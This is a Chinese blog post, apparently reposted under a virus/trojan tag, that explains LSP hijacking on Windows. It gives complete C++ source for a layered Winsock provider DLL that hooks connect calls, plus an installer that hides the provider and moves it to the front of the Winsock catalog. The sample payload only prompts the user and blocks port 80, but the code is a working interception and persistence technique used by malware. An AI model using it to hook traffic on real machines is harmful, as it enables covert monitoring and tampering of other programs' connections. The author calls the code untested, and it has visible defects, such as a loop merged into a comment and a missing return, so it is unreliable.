[病毒木馬] 什么是LSP劫持


原理

應用程序通過 socket 進行網絡通信時會調用 ws2_32.dll 的導出函數,比如 send/recv 等,而這些函數時通過更底層的 LSP 提供的 SPI(服務提供者接口)實現的。划重點!!! :如果有多個符合條件的 SPI,系統將會調用在 winsock 目錄最前面的那個 。所以注冊一個 SPI 並插入到 winsock 目錄的最前面就可以劫持 LSP 了!

另外劫持 LSP 需要將代碼卸載 DLL 里(畢竟人家也叫劫持嘛 ~)

代碼(來自網絡)
freesec.dll

// 全局遍歷
WCHAR exepath[MAX_PATH] = { 0 };
WSPPROC_TABLE trueTable = { 0 };

int GetProvider(LPWSAPROTOCOL_INFOW &pProtoInfo)
{
    //  首次調用,pProtoInfo傳入NULL,取得需要的緩沖區長度
    DWORD dwSize = 0;
    int nError = 0;
    if (WSCEnumProtocols(NULL, NULL, &dwSize, &nError) == SOCKET_ERROR)
    {
        if (nError != WSAENOBUFS)
        {
            return 0;
        }
    }
    // 申請足夠緩沖區內存。
    pProtoInfo = (LPWSAPROTOCOL_INFOW)GlobalAlloc(GPTR, dwSize);
    if (pProtoInfo == NULL)
    {
        return 0;
    }
    //再次調用WSCEnumProtocols函數
    return WSCEnumProtocols(NULL, pProtoInfo, &dwSize, &nError);
}

int WSPConnect(SOCKET s, const struct sockaddr FAR* name, int namelen,
        LPWSABUF lpCallerData, LPWSABUF lpCalleeData, LPQOS lpSQOS, LPQOS lpGQOS,
        LPINT lpErrno)
{
    SOCKADDR_IN addr = *(SOCKADDR_IN*)name;
    if (addr.sin_port==htons(80))
    {
        MessageBoxW(0, L"有程序訪問外網80端口", L"拒絕訪問", 0);
        return SOCKET_ERROR;
    }
    return trueTable.lpWSPConnect(s, name, namelen, lpCallerData, lpCalleeData, lpSQOS, lpGQOS, lpErrno);
}

int WSPAPI WSPStartup(
    WORD wVersionRequested,
    LPWSPDATA lpWSPData,
    LPWSAPROTOCOL_INFOW lpProtocolInfo,
    WSPUPCALLTABLE UpcallTable,
    LPWSPPROC_TABLE lpProcTable
)
/*
    當應用程序通過SOCKET創建socket時會調用系統根據Winsock目錄和程序的需要來將對應的傳輸服務提供者,即
    一個dll加載到目標進程中. 然后調用該dll提供的WSPStartup函數來初始化.初始化的
    目的就是為了通過調用這個函數來獲取該這次操作socket的API函數對應的SPI
    這就是windows上寫socket時之前必須通過WSAStartup來進行socket初始化的原因
    該函數的lpProcTable 參數是個結構體,保存了所有的SPI函數.也就是可以從這個參數來獲取SPI
    所以只需導出這個函數,然后將其他的SPI填寫到lpProcTable中,最后返回給程序
    以上都是正常情況下的調用過程. 如果我們讓系統加載我們給它提供的dll就可以導出該函數,並
    hook掉lpProcTable中的成員進行監控. 但是我們hook該函數后允許的話應該最后要調用正常的SPI,
    這時參數lpProtocolInfo就能派上用場. 通過該參數可以獲取原來的協議的目錄id,然后遍歷winsock
    目錄找到對應的協議的傳輸服務提供者即一個dll路徑,通過加載該dll並調用其中的WSPStartup即可獲取
    真正的SPI,然后調用它.最終可以實現監控,修改,攔截等功能
*/
{
    //我們編寫的DLL用於協議鏈中,所以如果是基礎協議或分層協議使用則直接返回錯誤
    if (lpProtocolInfo->ProtocolChain.ChainLen <= 1)
    {
        return WSAEPROVIDERFAILEDINIT;
    }
    WCHAR exename[100] = { 0 };
    wsprintf(exename, L"應用程序: %ls 正在聯網,是否允許?", exepath);
    if (MessageBoxW(0,exename,L"溫馨提示",MB_YESNO|MB_ICONWARNING)==IDNO)
    {
        MessageBoxW(0, L"已攔截", L"提示", 0);
        return WSAEPROVIDERFAILEDINIT;
    }
    // 枚舉協議,找到下層協議的WSAPROTOCOL_INFOW結構    
    WSAPROTOCOL_INFOW    trueProtocolInfo;    //保存真正的協議結構
    LPWSAPROTOCOL_INFOW pProtoInfo = NULL;    
    int allproto = GetProvider(pProtoInfo);
    DWORD trueId = lpProtocolInfo->ProtocolChain.ChainEntries[1];//獲取真正的協議目錄id
    int i;
    //遍歷查找真正的協議結構
    for (i = 0; i < allproto; i++)
    {
        if (pProtoInfo[i].dwCatalogEntryId==trueId)
        {
            memcpy(&trueProtocolInfo, &pProtoInfo[i], sizeof(WSAPROTOCOL_INFOW));
            break;
        }
    }
    //沒找到就返回失敗
    if (i>=allproto)
    {
        return WSAEPROVIDERFAILEDINIT;
    }
    int nError;
    wchar_t szBaseProviderDll[MAX_PATH];//保存真正dll路徑
    int nLen = MAX_PATH;
    // 取得下層提供程序DLL路徑
    if (WSCGetProviderPath(&trueProtocolInfo.ProviderId, szBaseProviderDll, &nLen, &nError) == SOCKET_ERROR)
    {
        return WSAEPROVIDERFAILEDINIT;
    }
    //上面的函數執行后路徑中會存在環境變量,通過下面展開環境變量
    if (!ExpandEnvironmentStringsW(szBaseProviderDll, szBaseProviderDll, MAX_PATH))
    {
        return WSAEPROVIDERFAILEDINIT;
    }

    // 加載真正dll
    HMODULE hModule = LoadLibraryW(szBaseProviderDll);
    if (hModule == NULL)
    {
        return WSAEPROVIDERFAILEDINIT;
    }

    // 導入真正dll的WSPStartup函數
    LPWSPSTARTUP  pfnWSPStartup = NULL;
    pfnWSPStartup = (LPWSPSTARTUP)GetProcAddress(hModule, "WSPStartup");
    if (pfnWSPStartup == NULL)
    {
        return WSAEPROVIDERFAILEDINIT;
    }

    // 調用下層提供程序的WSPStartup函數以填充SPI地址表
    LPWSAPROTOCOL_INFOW pInfo = lpProtocolInfo;
    //
    if (trueProtocolInfo.ProtocolChain.ChainLen == BASE_PROTOCOL)
    {
        pInfo = &trueProtocolInfo;
    }
    else
    {
        for (int j = 0; j<lpProtocolInfo->ProtocolChain.ChainLen; j++)
        {
            lpProtocolInfo->ProtocolChain.ChainEntries[j]
                = lpProtocolInfo->ProtocolChain.ChainEntries[j + 1];
        }
        lpProtocolInfo->ProtocolChain.ChainLen--;
    }
    //調用真正的WSPStartup, 注意參數,協議結構參數必須是原來我們想劫持的那個協議結構
    int nRet = pfnWSPStartup(wVersionRequested, lpWSPData, pInfo, UpcallTable, lpProcTable);
    if (nRet != ERROR_SUCCESS)
    {
        return nRet;
    }
    memcpy(&trueTable, lpProcTable, sizeof(WSPPROC_TABLE)); //保存到trueTable中以便調用
    //進行api替換
    lpProcTable->lpWSPConnect = (LPWSPCONNECT)WSPConnect;

}

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        GetModuleFileNameW(0, exepath, MAX_PATH * sizeof(wchar_t));
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

test.cpp:

#include<Windows.h>
#include<locale.h>
#include<stdio.h>
#include<malloc.h>
#pragma comment(lib,"ws2_32.lib")
GUID layerGuid;
#define layerName L"freesec"  
DWORD findGuid()
{
    //枚舉winsock目錄中的協議
    LPWSAPROTOCOL_INFOW info;//指向winsock目錄中協議
    DWORD size = 0;            //大小
    DWORD num;                //數量
    WSCEnumProtocols(0, 0, &size, 0);
    info = (LPWSAPROTOCOL_INFOW)malloc(size);
    num = WSCEnumProtocols(0, info, &size, 0);
    if (num == SOCKET_ERROR)
    {
        free(info);
        return 0;
    }
    int i;
    for ( i= 0; i < num; i++)
    {
        if (lstrcmpW(info[i].szProtocol,layerName)==0)
        {
            memcpy(&layerGuid, &info[i].ProviderId, sizeof(GUID));
            break;
        }
    }
    free(info);
    if (i==num)//沒找到
    {
        return 0;
    }
    return 1;
}
DWORD lspInject()
{
    //枚舉winsock目錄中的協議
    LPWSAPROTOCOL_INFOW info;//指向winsock目錄中協議
    DWORD size = 0;            //大小
    DWORD num;                //數量
    WSCEnumProtocols(0, 0, &size, 0);
    info = (LPWSAPROTOCOL_INFOW)malloc(size);
    num = WSCEnumProtocols(0, info, &size, 0);
    DWORD trueId;            //存儲被安裝的提供者的目錄id
    if (num == SOCKET_ERROR)
    {
        free(info);
        return 0;
    }

    WCHAR supplier[] = layerName;
    WCHAR dllpath[] = L"E:\\0day\\shellcode\\Debug\\freesec.dll";//指定你的dll文件
    DWORD myId;
    int proto = IPPROTO_TCP; //目標協議

    WSAPROTOCOL_INFOW save = { 0 };    //用於存儲指定協議的正常的提供者,最后用來作為分層協議和協議鏈的模板for (int i = 0; i < num; i++)
    {//找符合條件的提供者,但不能是分層協議
        if (info[i].iAddressFamily == AF_INET&&info[i].iProtocol == proto&&info[i].ProtocolChain.ChainLen!=0)
        {
            memcpy(&save, &info[i], sizeof(WSAPROTOCOL_INFOW));    //將原來的基礎協議信息保存                                                                
            save.dwServiceFlags1 &= ~XP1_IFS_HANDLES;        //去掉XP1_IFS_HANDLES標志
            trueId = info[i].dwCatalogEntryId;
            break;
        }
    }

    //安裝分層協議
    WSAPROTOCOL_INFOW Lpi = { 0 }; //新的分層協議
    memcpy(&Lpi, &save, sizeof(WSAPROTOCOL_INFOW)); //以這個保存的系統已有協議作為模板
    lstrcpyW(Lpi.szProtocol, supplier);    //協議名,其實就是一個代號而已,可以隨意起名
    Lpi.ProtocolChain.ChainLen = LAYERED_PROTOCOL;    //設置為分層協議
    Lpi.dwProviderFlags |= PFL_HIDDEN;        //?
    GUID pguid;                    //分層協議的guid
    UuidCreate(&pguid);
    memcpy(&layerGuid,&pguid,sizeof(GUID));
    if (WSCInstallProvider(&pguid, dllpath, &Lpi, 1, 0) == SOCKET_ERROR)        //安裝該分層協議
    {
        free(info);
        return 0;
    }

    //重新枚舉協議以獲取分層協議的目錄id
    free(info);            //因為添加了一個分層協議,所以需要重新分配內存
    DWORD layerId;        //保存分層協議目錄id
    WSCEnumProtocols(0, 0, &size, 0);
    info = (LPWSAPROTOCOL_INFOW)malloc(size);
    num = WSCEnumProtocols(0, info, &size, 0);
    if (num == SOCKET_ERROR)
    {
        free(info);
        return 0;
    }

    for (int i = 0; i < num; i++)        //遍歷協議,直到找到剛才新增的分層協議
    {
        if (memcmp(&info[i].ProviderId, &pguid, sizeof(GUID)) == 0)
        {
            layerId = info[i].dwCatalogEntryId;        //獲取分層協議目錄id
        }
    }

    //安裝協議鏈
    WCHAR chainName[WSAPROTOCOL_LEN + 1];            //其實就是一個名字代號,和分層協議的名字一樣
    wsprintf(chainName, L"%ls over %ls", supplier, save.szProtocol);
    lstrcpyW(save.szProtocol, chainName);        //改名字1
    if (save.ProtocolChain.ChainLen == 1) //如果目標協議的正常提供者是基礎協議則將其目錄id放在協議鏈的第2個位置
    {
        save.ProtocolChain.ChainEntries[1] = trueId;        //將id寫入到該協議鏈的ChainEntries數組中,這個數組只有當它是協議鏈時才有意義
    }
    else       //否則就是協議鏈提供者
    {
        for (int i = save.ProtocolChain.ChainLen; i > 0; i--)//如果是協議鏈則將該協議鏈中其他協議往后移,
                                                             //以便將自己的分層協議插入到鏈首.但是這個數組最大存7個,所以如果原來就占滿了,理論上會擠掉最后一個
        {
            save.ProtocolChain.ChainEntries[i] = save.ProtocolChain.ChainEntries[i - 1];
        }
    }

    save.ProtocolChain.ChainEntries[0] = layerId;
    save.ProtocolChain.ChainLen++;

    //獲取guid,安裝協議鏈
    GUID providerChainGuid;
    UuidCreate(&providerChainGuid);
    if (WSCInstallProvider(&providerChainGuid, dllpath, &save, 1, 0) == SOCKET_ERROR)
    {
        free(info);
        return 0;
    }

    //重新枚舉協議
    free(info);
    WSCEnumProtocols(0, 0, &size, 0);
    info = (LPWSAPROTOCOL_INFOW)malloc(size);
    num = WSCEnumProtocols(0, info, &size, 0);
    if (num == SOCKET_ERROR)
    {
        free(info);
        return 0;
    }
    //遍歷獲取我們的協議鏈的目錄id
    DWORD* chainId = (DWORD*)malloc(num * sizeof(DWORD)); //這個是協議鏈的目錄id數組,把我們的協議鏈id
                                                          //放在最前面,系統原來的按順序放后面
    DWORD cindex = 0;
    for (int i = 0; i < num; i++)
    {
        if ((info[i].ProtocolChain.ChainLen > 1) && (info[i].ProtocolChain.ChainEntries[0] == layerId))
        {
            chainId[cindex] = info[i].dwCatalogEntryId;
            cindex++;
        }
    }
    for (int i = 0; i < num; i++)
    {
        if ((info[i].ProtocolChain.ChainLen <= 1) || (info[i].ProtocolChain.ChainEntries[0] != layerId))
        {
            chainId[cindex] = info[i].dwCatalogEntryId;
            cindex++;
        }
    }

    if (WSCWriteProviderOrder(chainId, cindex) != 0)
    {
        free(info);
        free(chainId);
        return 0;
    }


    free(info);
    free(chainId);
    return 1;


}

DWORD uninstall()
{
    if(findGuid()==0)
    {
        return 0;
    }
    //枚舉winsock目錄中的協議
    LPWSAPROTOCOL_INFOW info;//指向winsock目錄中協議
    DWORD size = 0;            //大小
    DWORD num;                //數量
        DWORD Id;            
    DWORD result;
    int cc;  //作為錯誤碼,下面2個函數的錯誤碼地址必須提供,否則會調用失敗
    WSCEnumProtocols(0, 0, &size, 0);
    info = (LPWSAPROTOCOL_INFOW)malloc(size);
    num = WSCEnumProtocols(0, info, &size, 0);
    if (num == SOCKET_ERROR)
    {
        free(info);
        return 0;
    }
    int i = 0;

    for (i=0; i < num; i++)
    {
        if (memcmp(&layerGuid,&info[i].ProviderId,sizeof(GUID))==0)
        {
            Id = info[i].dwCatalogEntryId;
        }
    }
    if (i<=num)
    {
        for (i = 0; i < num; i++)
        {
            if ((info[i].ProtocolChain.ChainLen>1)&&(info[i].ProtocolChain.ChainEntries[0]==Id))
            {

                if((result=WSCDeinstallProvider(&info[i].ProviderId, &cc))==SOCKET_ERROR)
                {
                    
                    free(info);
                    return 0;
                }
                break;
            }
        }
       free(info); 
        if((result=WSCDeinstallProvider(&layerGuid,  &cc))==SOCKET_ERROR)
        {return 0;
        }
    }
    else
    {
     free(info);
        return 0;    
    }return 1;
}
int main(int argc, char** argv)
{
    setlocale(LC_ALL, "chs");
    int result;
    if (argc!=2)
    {
        printf("usage:%s install or uninstall\n", argv[0]);
        return 0;
    }
    if (strcmp(argv[1],"install")==0)
    {
        if (lspInject())
        {
            printf("install success\n");
        }
        else
        {
            printf("install error code is %d\n", GetLastError());
        }
    }
    else if(strcmp(argv[1], "uninstall") == 0)
    {
        if (uninstall())
        {
            printf("uninstall success\n");
        }
        else
        {
            printf("uninstall error code is %d\n", GetLastError());
        }
    }

    return 1;

}

以上代碼未經測試,時間有限用到的時候再改吧。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM